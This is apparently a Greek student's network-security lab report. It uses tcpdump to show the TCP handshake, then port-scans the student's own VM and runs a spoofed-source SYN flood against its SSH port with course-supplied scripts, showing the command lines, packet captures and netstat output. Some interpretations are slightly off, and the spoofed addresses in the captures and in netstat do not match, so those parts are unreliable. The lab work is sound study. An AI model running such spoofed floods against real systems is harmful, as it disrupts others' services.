Συγχρονες εφαρμογες Ασφαλειας

Ονοματεπώνυμο : Νικόλας Φιλιππάτος
AM: 1072754
Εργασία: 4η

1. Επίδειξη μηχανισμού 3-WAY HANDSHAKE με χρήση tcpdump

1. Επίδειξη μηχανισμού 3-WAY HANDSHAKE με χρήση tcpdump

- Η εντολή tcpdump (https://www.tcpdump.org/) είναι ένα μοναδικό εργαλείο ανάλυσης της δικτυακής κίνησης. Στο διαδίκτυο μπορείτε να βρείτε πολλά tutorials χρήσης όπως αυτό.
- Θα χρησιμοποιήσουμε το tcpdump για την καταγραφή του μηχανισμού σύνδεσης του TCP πρωτοκόλλου (3-WAY HANDSHAKE).
- Θα πρέπει να κλείσετε όλες τις εφαρμογές που συνδέονται στο διαδίκτυο για την απλοποίηση της εξόδου των εντολών.
  - Στο τερματικό του υπολογιστή σας συνδεθείτε στο VM που έχετε υλοποιήσει πχ ssh root@@192.168.122.XX
  - Σε άλλο τερματικό εκτελέστε την εντολή tcpdump -vvv -nn -i wlan0 -s 1500 -S -X -c 5 'src IP_source' or 'dst IP_destination' and 'port 22' με τις σωστές παραμέτρους της διεπαφής, διεύθυνση πηγής (του υπολογιστή σας) και destination (του VM εσάς).
  - Δείξτε τα πακέτα που καταγράψατε και δείξτε τα flags (SYN/FIN/RST/ACK) κάθε πακέτου.

Ξεκιναμε το tcpdump :

```
sudo tcpdump -vvv -nn -i virbr0 -s 1500 -S -X -c 5 'src 192.168.122.150' or 'dst 192.168.122.1' and 'port 22'
```

Συνδεομαστε με ssh στο vm :

```
ssh deby
```

Αποτελεσμα:

Flags :
F	Flag	Bit Value	Binary Value
U	URG	32	100000
A	ACK	16	010000
P	PSH	8	001000
R	RST	4	000100
S	SYN	2	000010
F	FIN	1	000001

Τα πακετα που ανταλλαχθηκαν:

```
tcpdump: listening on virbr0, link-type EN10MB (Ethernet), snapshot length 1500 bytes
17:05:53.495660 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.122.150.22 > 192.168.122.1.35312: Flags [S.], cksum 0x7617
```

```
(incorrect -> 0x16e5), seq 3673353207, ack 2819276862, win 65160, options
[mss 1460,sackOK,TS val 2144089200 ecr 556936688,nop,wscale 7], length 0
        0x0000:  4500 003c 0000 4000 4006 c4d3 c0a8 7a96  E..<..@.@.....z.
        0x0030:  7fcc 3470 2132 2df0 0103 0307            ..4p!2-.....
17:05:53.496436 IP (tos 0x0, ttl 64, id 14881, offset 0, flags [DF], proto
TCP (6), length 52)
    192.168.122.150.22 > 192.168.122.1.35312: Flags [.], cksum 0x760f
(incorrect -> 0x4213), seq 3673353208, ack 2819276902, win 509, options
[nop,nop,TS val 2144089201 ecr 556936689], length 0
        0x0000:  4500 0034 3a21 4000 4006 8aba c0a8 7a96  E..4:!@.@.....z.
        0x0010:  c0a8 7a01 0016 89f0 daf2 ebf8 a80a c066  ..z............f
17:05:53.533509 IP (tos 0x0, ttl 64, id 14882, offset 0, flags [DF], proto
TCP (6), length 92)
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], cksum 0x7637
(incorrect -> 0xdcee), seq 3673353208:3673353248, ack 2819276902, win 509,
options [nop,nop,TS val 2144089238 ecr 556936689], length 40: SSH: SSH-2.0-
OpenSSH_9.2p1 Debian-2+deb12u1
        0x0040:  5353 485f 392e 3270 3120 4465 6269 616e  SSH_9.2p1.Debian
        0x0050:  2d32 2b64 6562 3132 7531 0d0a            -2+deb12u1..
17:05:53.535347 IP (tos 0x0, ttl 64, id 14883, offset 0, flags [DF], proto
TCP (6), length 1132)
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], cksum 0x7a47
(incorrect -> 0x83b2), seq 3673353248:3673354328, ack 2819278406, win 498,
options [nop,nop,TS val 2144089240 ecr 556936727], length 1080
        0x0440:  0000 156e 6f6e 652c 7a6c 6962 406f 7065  ...none,zlib@ope
        0x0450:  6e73 7368 2e63 6f6d 0000 0000 0000 0000  nssh.com........
17:05:53.643993 IP (tos 0x0, ttl 64, id 14884, offset 0, flags [DF], proto
TCP (6), length 1616)
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], seq
3673354328:3673355892, ack 2819279614, win 501, options [nop,nop,TS val
2144089348 ecr 556936825], length 1564
        0x05b0:  11c1 3651 d990 fa02 65cb 567d 4afa bb42  ..6Q....e.V}J..B
        0x05c0:  4bb6 b974 4a6f ea6e e942 9467 4361       K..tJo.n.B.gCa
5 packets captured
5 packets received by filter
0 packets dropped by kernel
```

Τα flags που ανταλαχθηκαν ειναι SYN και PSH

```
tcpdump: listening on virbr0, link-type EN10MB (Ethernet), snapshot length
1500 bytes

    192.168.122.150.22 > 192.168.122.1.35312: Flags [S.], cksum 0x7617
(incorrect -> 0x16e5), seq 3673353207, ack 2819276862,
    192.168.122.150.22 > 192.168.122.1.35312: Flags [.], cksum 0x760f
(incorrect -> 0x4213), seq 3673353208, ack 2819276902,
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], cksum 0x7637
```

```
(incorrect -> 0xdcee), seq 3673353208:3673353248, ack
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], cksum 0x7a47
(incorrect -> 0x83b2), seq 3673353248:3673354328, ack
    192.168.122.150.22 > 192.168.122.1.35312: Flags [P.], seq
3673354328:3673355892, ack 2819279614, win 501, options
```

---

2. Πειραματιστείτε και εκτελέστε τις Παρακάτω εντολές. Εξηγείστε την έξοδο που δίνουν.

2. Πειραματιστείτε και εκτελέστε τις Παρακάτω εντολές. Εξηγείστε την έξοδο που δίνουν.

```
tcpdump -v -n host 192.168.1.105
```

Output:

Starts capturing network packets related to that ip address until it is stopped. It displays verbose information, the raw ip address and ports.

Parameter	Explanation
`-v`	Verbose mode
`-n`	do not resolve hostnames and port numbers in the readable forms. Display raw IP address and port numbers
`host <IP ADDRESS>`	Capture packets either coming in or out of this IP

```
tcpdump -vvv -nn -i eth0 -s 1514 host 192.168.1.105 -S -X -c 5
```

Output:

Starts capturing network packets, on the ethernet interface, related to that ip address, size 1514, until it has captured 5 packets. It shows extra verbose information, with the absolute sequence numbers of TCP packets and the numerical IP and ports and the contents of the packet in HEX and ASCII.

Parameter	Explanation
`-vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.
`-nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`-i eth0`	Sets the network interface to ethernet
`-s 1514`	Defines the snaplen (snapshot length) for the packet capture
`host <IP ADDRESS>`	Capture packets either coming in or out of this IP
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format
`-c 5`	Limits the number of packets to capture to 5

```
tcpdump -vvv -nn -i wlan0 -s 1514 host 192.168.1.105 -S -X -c 5
```

Parameter	Explanation
`-vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.
`-nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`-i wlan0`	Sets the network interface to wireless network interface.
`-s 1514`	Defines the snaplen (snapshot length) for the packet capture
`host <IP ADDRESS>`	Capture packets either coming in or out of this IP
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format
`-c 5`	Limits the number of packets to capture to 5

```
tcpdump -nnvvvXSs 1514 host 192.168.1.105 and dst port 22
```

Output:

It captures packets related to that ip address, that have as destination the port 22

Parameter	Explanation
`nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.
`s 1514`	Defines the snaplen (snapshot length) for the packet capture
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format
`host <IP ADDRESS> and dst port 22`	Capture packets either coming in or out of this IP with destination the port 22

```
tcpdump -vvv -nn -i eth0 -s 1514 -S -X -c 5 'src 192.168.1.102' or 'dst 192.168.1.102 and port 22'
```

Output:

It captures packets that either come from the ip address or have destination

Parameter	Explanation
`-vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.

Parameter	Explanation
`-nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`-i eth0`	Sets the network interface to ethernet
`-s 1514`	Defines the snaplen (snapshot length) for the packet capture
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format
`-c 5`	Limits the number of packets to capture to 5
`'src 192.168.1.102' or`	Capture packets coming from 192.168.1.105 or
`dst 192.168.1.102 and port 22`	or capture packets coming to 192.168.1.105 and port 22

```
tcpdump -vvv -nn -i eth0 -s 1514 -S -X -c 5 src or dst 71.98.70.149
```

Parameter	Explanation
`-vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.
`-nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`-i eth0`	Sets the network interface to ethernet
`-s 1514`	Defines the snaplen (snapshot length) for the packet capture
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format
`-c 5`	Limits the number of packets to capture to 5
`src or dst 71.98.70.149`	Capture packets coming from or going to 71.98.149

```
tcpdump -vvv -nn -i wlan0 -s 1514 -S -X -c 5 'src 192.168.1.102' or 'dst 192.168.1.102 and port 22'
```

Parameter	Explanation
`-vvv`	Even more verbose ##### Output. For example, telnet SB ... SE options are printed in full. With -X Telnet options are printed in hex as well.
`-nn`	do not resolve hostnames and port numbers in the readable forms. Display numerical values IP address and port numbers
`-i wlan0`	Sets the network interface to wireless network interface
`-s 1514`	Defines the snaplen (snapshot length) for the packet capture
`-S`	Print Absolute rather than relative, TCP sequence numbers
`-X`	##### Outputs the data of each packet in both hex and ASCII format

Parameter	Explanation
`-c 5`	Limits the number of packets to capture to 5
`'src 192.168.1.102' or`	Capture packets coming from 192.168.1.105 or
`dst 192.168.1.102 and port 22`	or capture packets coming to 192.168.1.105 and port 22

```
tcpdump udp -i wlan0
```

Will capture udp packets from the interface wnlan0 (wireless network interface).

```
tcpdump udp -i any -c 10
```

It will capture udp packets from any interface, and will stop after it captures 10 packets.

---

3. Επίδειξη κακόβουλης επίθεσης DoS

3. Επίδειξη κακόβουλης επίθεσης DoS μέσω IP ADDRESS SPOOFING και SYN FLOODING με IP διευθύνσεις που ανήκουν στο ίδιο LAN.

Στην σελίδα του μαθήματος στο eclass έχουν αναρτηθεί δύο προγράμματα “port_scan.py” και “DoS5.py”, γραμμένα σε python. Το 1ο πρόγραμμα κάνει ανίχνευση ανοικτών θυρών και εκτελείτε δίνοντας την IP διεύθυνση του στόχου, την πρώτη και την τελευταία θύρα που θα δοκιμάσει: δλδ

Theory

```
port_scan.py <IP_address> <port_start > <port_end >
```

Μια θυρα ειναι ανοιχτη εφοσον γινεται εγκατασταση συνδεσης και καποια διεργασια/προγραμμα ακουει αυτη τη θυρα

Το δεύτερο πρόγραμμα, DoS5.py εκτελεί DoS επίθεση με την μέθοδο SYN flooding.
Για να καταλάβετε τι κάνει αυτό το σενάριο, πρέπει να ξέρετε πως δουλεύει το module scapy της python. Το Scapy είναι ένα ισχυρό εργαλείο για τη δημιουργία πακέτων σε οποιοδήποτε από τα πρώτα τέσσερα επίπεδα της στοίβας πρωτοκόλλου TCP / IP - και αυτό περιλαμβάνει τα πλαίσια Ethernet που βρίσκονται στο Layer 2. Μπορεί το Scapy να δημιουργήσει ένα πακέτο, να ορίσετε τα διάφορα πεδία του, και να καταγράψει το πακέτο απόκρισης εάν υπάρχει.
Το εν λόγω πρόγραμμα, δημιουργεί πρώτα μια κεφαλίδα IP με συγκεκριμένη διευθύνση IP πηγής και προορισμού, μετά δημιουργείμια TCP κεφαλίδα με συγκεκριμένες θύρες προέλευσης και προορισμού και με το σύνολο σημαιών SYN ενεργοποιημένο, ώστε τελικά να κατασκευάσει ένα φαινομενικό σωστό πακέτο στο IP Layer. Το script εκτελείτε με την εντολή:

```
DoS5.py <IP_source> <IP_destination> <port_to_attack> <number_of_packets>
```

1. Εκτελεστε port_scan.py

1. Εκτελέστε το port_scan.py από τον υπολογιστή για να ανιχνεύσετε ποιος θύρες είναι ανοικτές στην εικονική μηχανή debian που έχετε υλοποιήσει. Ποιες πόρτες είναι ανοικτές? Δώστε την έξοδο του προγράμματος.

```
└──╼ $./port_scan.py 192.168.122.150 0 1000
.....................22.....................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
.....................................................................
```

```
.....................................................................
.....................................................................
.........................

The open ports:


22:    ssh 22/tcp # SSH Remote Login Protocol
```

Βλεπουμε οτι μονο η πορτ 22 ειναι ανοιχτη

2. Εκτελεστε το DoS5.py

2. Εκτελέστε το script DoS5.py εκκινώντας μια DoS επίθεση στην εικονική σας μηχανή με την εντολή, στην θύρα 22 με αριθμό πακέτων μεγαλύτερο από τον αριθμό των προσπαθειών που έχετε ορίσει στο fail2ban πακέτο. Δώστε την έξοδο σε όλες τις προσπάθειες.

Προτού εκετελέσετε το script DoS5.py και για να παρακολουθήσετε την κίνηση (packet sniffer) χρησιμοποιείστε την εντολή tcpdump τόσο στο host όσο και στο VM σας. Ενδεικτικά οι εντολές είναι:

```
sudo tcpdump -vvv -nn -i wlan0 -s 1500 -S -X 'dst 10.0.0.8' (για τον
attacker)
sudo tcpdump -vvv -nn -i wlan0 -s 1500 -S -X 'src 10.0.0.19' (για τον
επιτιθέμενο).
```

```
./doS5.py 111.111.111.111 192.168.122.150 22 5
```

Attacker

```
tcpdump: listening on virbr0, link-type EN10MB (Ethernet), snapshot length
1500 bytes
02:29:02.751304 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has
192.168.122.150 tell 192.168.122.1, length 28
        0x0000:  0001 0800 0604 0001 5254 00e7 89a9 c0a8  ........RT......
        0x0010:  7a01 0000 0000 0000 c0a8 7a96            z.........z.
02:29:02.776655 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.15417 > 192.168.122.150.22: Flags [S], cksum 0x3976
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 3c39 0016 0000 0000 0000 0000  ..z.<9..........
        0x0020:  5002 2000 3976 0000                      P...9v..
02:29:02.832113 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.25678 > 192.168.122.150.22: Flags [S], cksum 0x1161
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
```

```
        0x0010:  c0a8 7a96 644e 0016 0000 0000 0000 0000  ..z.dN..........
        0x0020:  5002 2000 1161 0000                      P....a..
02:29:02.882756 IP (tos 0x10, ttl 64, id 52031, offset 0, flags [DF], proto
TCP (6), length 52)
    192.168.122.1.38014 > 192.168.122.150.22: Flags [.], cksum 0x760f
(incorrect -> 0xa3d2), seq 1315567517, ack 1852088908, win 501, options
[nop,nop,TS val 3375306008 ecr 3690050950], length 0
        0x0000:  4510 0034 cb3f 4000 4006 f98b c0a8 7a01  E..4.?@.@.....z.
        0x0010:  c0a8 7a96 947e 0016 4e69 f79d 6e64 a24c  ..z..~..Ni..nd.L
        0x0020:  8010 01f5 760f 0000 0101 080a c92f 1518  ....v......../..
        0x0030:  dbf1 b586                                ....
02:29:02.899806 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.35589 > 192.168.122.150.22: Flags [S], cksum 0xeaa9
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 8b05 0016 0000 0000 0000 0000  ..z.............
        0x0020:  5002 2000 eaa9 0000                      P.......
02:29:02.943311 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.52179 > 192.168.122.150.22: Flags [S], cksum 0xa9db
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 cbd3 0016 0000 0000 0000 0000  ..z.............
        0x0020:  5002 2000 a9db 0000                      P.......
02:29:02.986035 IP (tos 0x10, ttl 64, id 52032, offset 0, flags [DF], proto
TCP (6), length 52)
    192.168.122.1.38014 > 192.168.122.150.22: Flags [.], cksum 0x760f
(incorrect -> 0x9fb8), seq 1315567517, ack 1852089752, win 501, options
[nop,nop,TS val 3375306111 ecr 3690051053], length 0
        0x0000:  4510 0034 cb40 4000 4006 f98a c0a8 7a01  E..4.@@.@.....z.
        0x0010:  c0a8 7a96 947e 0016 4e69 f79d 6e64 a598  ..z..~..Ni..nd..
        0x0020:  8010 01f5 760f 0000 0101 080a c92f 157f  ....v......../..
        0x0030:  dbf1 b5ed                                ....
02:29:02.998968 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.19925 > 192.168.122.150.22: Flags [S], cksum 0x27da
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 4dd5 0016 0000 0000 0000 0000  ..z.M...........
        0x0020:  5002 2000 27da 0000                      P...'...
02:29:03.089031 IP (tos 0x10, ttl 64, id 52033, offset 0, flags [DF], proto
TCP (6), length 52)
    192.168.122.1.38014 > 192.168.122.150.22: Flags [.], cksum 0x760f
(incorrect -> 0x9d2e), seq 1315567517, ack 1852090196, win 501, options
[nop,nop,TS val 3375306214 ecr 3690051156], length 0
        0x0000:  4510 0034 cb41 4000 4006 f989 c0a8 7a01  E..4.A@.@.....z.
```

```
        0x0010:  c0a8 7a96 947e 0016 4e69 f79d 6e64 a754  ..z..~..Ni..nd.T
        0x0020:  8010 01f5 760f 0000 0101 080a c92f 15e6  ....v......../..
        0x0030:  dbf1 b654                                ...T
02:29:03.758174 IP (tos 0x0, ttl 54, id 62827, offset 0, flags [DF], proto
UDP (17), length 76)
    193.239.214.226.123 > 192.168.122.150.33232: [udp sum ok] NTPv4,
Server, length 48
        Leap indicator:  (0), Stratum 3 (secondary reference), poll 4
(16s), precision -24
        Root Delay: 0.063201, Root dispersion: 0.021667, Reference-ID:
0xd507f9f5
          Reference Timestamp:  3908478348.948186268 (2023-11-09T00:25:48Z)
          Originator Timestamp: 3908478543.170420614 (2023-11-09T00:29:03Z)
          Receive Timestamp:    3908478543.746052876 (2023-11-09T00:29:03Z)
          Transmit Timestamp:   3908478543.746173699 (2023-11-09T00:29:03Z)
            Originator - Receive Timestamp:  +0.575632262
            Originator - Transmit Timestamp: +0.575753085
        0x0000:  4500 004c f56b 4000 3611 7b24 c1ef d6e2  E..L.k@.6.{$....
        0x0010:  c0a8 7a96 007b 81d0 0038 2de5 2403 04e8  ..z..{...8-.$...
        0x0020:  0000 102e 0000 058c d507 f9f5 e8f6 a58c  ................
        0x0030:  f2bc 55d5 e8f6 a64f 2ba0 af75 e8f6 a64f  ..U....O+..u...O
        0x0040:  befd 5242 e8f6 a64f bf05 3d54            ..RB...O..=T
```

Θυμα

```
tcpdump: listening on enp1s0, link-type EN10MB (Ethernet), snapshot length
1500 bytes
02:29:02.774041 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.15417 > 192.168.122.150.22: Flags [S], cksum 0x3976
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 3c39 0016 0000 0000 0000 0000  ..z.<9..........
        0x0020:  5002 2000 3976 0000                      P...9v..
02:29:02.829429 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.25678 > 192.168.122.150.22: Flags [S], cksum 0x1161
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 644e 0016 0000 0000 0000 0000  ..z.dN..........
        0x0020:  5002 2000 1161 0000                      P....a..
02:29:02.897078 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.35589 > 192.168.122.150.22: Flags [S], cksum 0xeaa9
(correct), seq 0, win 8192, length 0
```

```
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 8b05 0016 0000 0000 0000 0000  ..z.............
        0x0020:  5002 2000 eaa9 0000                      P.......
02:29:02.940501 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.52179 > 192.168.122.150.22: Flags [S], cksum 0xa9db
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 cbd3 0016 0000 0000 0000 0000  ..z.............
        0x0020:  5002 2000 a9db 0000                      P.......
02:29:02.996264 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto
TCP (6), length 40)
    111.111.111.111.19925 > 192.168.122.150.22: Flags [S], cksum 0x27da
(correct), seq 0, win 8192, length 0
        0x0000:  4500 0028 0001 0000 4006 60b2 6f6f 6f6f  E..(....@.`.oooo
        0x0010:  c0a8 7a96 4dd5 0016 0000 0000 0000 0000  ..z.M...........
        0x0020:  5002 2000 27da 0000                      P...'...
```

Οπως βλεπουμε απο το log του θυματος τα πακετα φαινεται να εχουν ερθει απο την διευθυνση 111.111.111.111

3. αποδειξη οτι εχει ξεκινησει DoS attack απο SYN

3. Για άλλη απόδειξη ότι έχουμε ξεκινήσει με επιτυχία μια DoS επίθεση από SYN flooding, μπορούμε να τρέξουμε την εντολή (σε άλλο παράθυρο στη μηχανή του θύματος):

```
netstat -n | grep tcp
```

```
tcp6       0      0 192.168.122.150:22      80.80.80.80:64937
SYN_RECV
tcp6       0      0 192.168.122.150:22      80.80.80.80:64937
SYN_RECV
tcp6       0      0 192.168.122.150:22      80.80.80.80:64937
SYN_RECV
tcp6       0      0 192.168.122.150:22      80.80.80.80:64937
SYN_RECV
tcp6       0      0 192.168.122.150:22      80.80.80.80:64937
SYN_RECV
```

Δώστε την έξοδο της παραπάνω εντολής. Σε ποια κατάσταση έχει μείνει το επιτιθέμενο VM ως προς την κατάσταση της TCP σύνδεσης?

Το VM εχει λαβει το πακετο SYN για να ξεκινησει το threeway handshake, αλλα διχως το ack δεν μπορει να το ολοκληρωσει.

Εάν εκτελείτε επανειλημμένα την εντολή netstat - n | grep tcp στον επιτιθέμενο υπολογιστή, θα δείτε την ίδια έξοδο με παραπάνω για περίπου 75 δευτερόλεπτα.

Τι συμπέρασμα μπορείτε να βγάλετε?

Μετα απο βλεπουμε μονο την δικια μας συνδεση ssh γιατι τοσο ειναι το timer του SYN packet που εχει σταλθει σε εναν server. Αμα δεν λαβει απαντηση μεσα σε 75 δευτερολεπτα τερματιζει την συνδεση που πηγαινε να γινει

---

4. netstat & netcat

4. Άλλες χρήσιμες εντολές για την ανάλυση εισερχόμενης/εξερχόμενης κίνησης είναι η netstat και η netcat.

Το netstat (στατιστικά στοιχεία δικτύου) είναι ένα άλλο εργαλείο γραμμής εντολών για την παρακολούθηση των συνδέσεων δικτύου τόσο εισερχόμενων όσο και εξερχόμενων, καθώς και προβολή πινάκων δρομολόγησης, στατιστικών διεπαφών κ.λπ. Το λογισμικό εγκαθίστανται με την εντολή: apt install net-tools

1. Εκτελεστε τις εντολες

1. Εκτελέστε τις παρακάτω εντολές (είτε στον host υπολογιστή σας είτε στην εικονική μηχανή) και αναφέρετε την έξοδο τους. Η κεντρική σελίδα του Linux για την εντολή netstat είναι εδώ.

-a

```
netstat -a # Active Connections & Listening Sockets
```

Output

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
tcp6       0      0 debian:ssh              192.168.122.1:38014
ESTABLISHED
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     18176
/var/run/fail2ban/fail2ban.sock
unix  3      [ ]         STREAM     CONNECTED     14737
/run/systemd/journal/stdout
unix  2      [ ]         DGRAM      CONNECTED     13966
unix  2      [ ]         DGRAM      CONNECTED     15442
unix  2      [ ]         DGRAM                    16596
/run/user/1000/systemd/notify
unix  2      [ ACC ]     STREAM     LISTENING     16599
/run/user/1000/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     16607
/run/user/1000/bus
unix  3      [ ]         STREAM     CONNECTED     19208
unix  3      [ ]         STREAM     CONNECTED     16341
```

```
unix  3      [ ]         STREAM     CONNECTED     14382
unix  3      [ ]         STREAM     CONNECTED     14795
/run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     16558
unix  3      [ ]         STREAM     CONNECTED     14736
unix  3      [ ]         DGRAM      CONNECTED     12089
/run/systemd/notify
unix  3      [ ]         STREAM     CONNECTED     14329
unix  2      [ ACC ]     STREAM     LISTENING     12092
/run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     12094
/run/systemd/userdb/io.systemd.DynamicUser
unix  2      [ ACC ]     STREAM     LISTENING     12095
/run/systemd/io.system.ManagedOOM
unix  2      [ ]         DGRAM      CONNECTED     14771
unix  3      [ ]         STREAM     CONNECTED     14770
/run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     12106
/run/systemd/fsck.progress
unix  8      [ ]         DGRAM      CONNECTED     12110
/run/systemd/journal/dev-log
unix  7      [ ]         DGRAM      CONNECTED     12112
/run/systemd/journal/socket
unix  2      [ ACC ]     STREAM     LISTENING     12114
/run/systemd/journal/stdout
unix  2      [ ACC ]     SEQPACKET  LISTENING     12116
/run/udev/control
unix  2      [ ]         DGRAM      CONNECTED     13534
unix  3      [ ]         STREAM     CONNECTED     14588
/run/systemd/journal/stdout
unix  2      [ ]         DGRAM      CONNECTED     16568
unix  3      [ ]         STREAM     CONNECTED     14790
unix  3      [ ]         DGRAM      CONNECTED     14725
unix  3      [ ]         STREAM     CONNECTED     16629
unix  2      [ ACC ]     STREAM     LISTENING     13532
/run/systemd/journal/io.systemd.journal
unix  3      [ ]         STREAM     CONNECTED     16345
/run/dbus/system_bus_socket
unix  2      [ ]         DGRAM      CONNECTED     16578
unix  3      [ ]         STREAM     CONNECTED     19209
/run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     14313
/run/dbus/system_bus_socket
unix  2      [ ]         DGRAM      CONNECTED     14718
unix  3      [ ]         STREAM     CONNECTED     15051
unix  2      [ ]         DGRAM                    16632
unix  3      [ ]         DGRAM      CONNECTED     14724
```

```
unix  3      [ ]         STREAM     CONNECTED     14867
unix  3      [ ]         STREAM     CONNECTED     16601
unix  2      [ ]         STREAM     CONNECTED     16508
unix  3      [ ]         STREAM     CONNECTED     16343
/run/dbus/system_bus_socket
unix  3      [ ]         DGRAM      CONNECTED     16597
unix  3      [ ]         STREAM     CONNECTED     15052
unix  3      [ ]         STREAM     CONNECTED     15405
unix  3      [ ]         DGRAM      CONNECTED     12091
unix  3      [ ]         STREAM     CONNECTED     16428
/run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     14701
unix  2      [ ]         DGRAM      CONNECTED     16661
unix  3      [ ]         DGRAM      CONNECTED     13971
unix  3      [ ]         STREAM     CONNECTED     16344
/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     16630
unix  3      [ ]         DGRAM      CONNECTED     16598
unix  3      [ ]         STREAM     CONNECTED     15031
/run/dbus/system_bus_socket
unix  3      [ ]         DGRAM      CONNECTED     14723
unix  3      [ ]         STREAM     CONNECTED     16427
unix  3      [ ]         STREAM     CONNECTED     15454
unix  3      [ ]         STREAM     CONNECTED     14781
unix  3      [ ]         DGRAM      CONNECTED     12090
unix  3      [ ]         STREAM     CONNECTED     16340
unix  3      [ ]         STREAM     CONNECTED     14288
/run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     14741
/run/systemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     15021
/run/systemd/journal/stdout
unix  2      [ ]         DGRAM      CONNECTED     14652
unix  3      [ ]         STREAM     CONNECTED     14782
/run/systemd/journal/stdout
unix  2      [ ACC ]     STREAM     LISTENING     15156
/var/run/sendmail/mta/smcontrol
unix  2      [ ]         DGRAM      CONNECTED     15005
unix  3      [ ]         STREAM     CONNECTED     14321
unix  2      [ ]         DGRAM      CONNECTED     16347
unix  2      [ ]         DGRAM      CONNECTED     12199
unix  3      [ ]         DGRAM      CONNECTED     13970
unix  3      [ ]         DGRAM      CONNECTED     14726
```

-at

```
netstat -at # All active TCP connections
```

Output

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
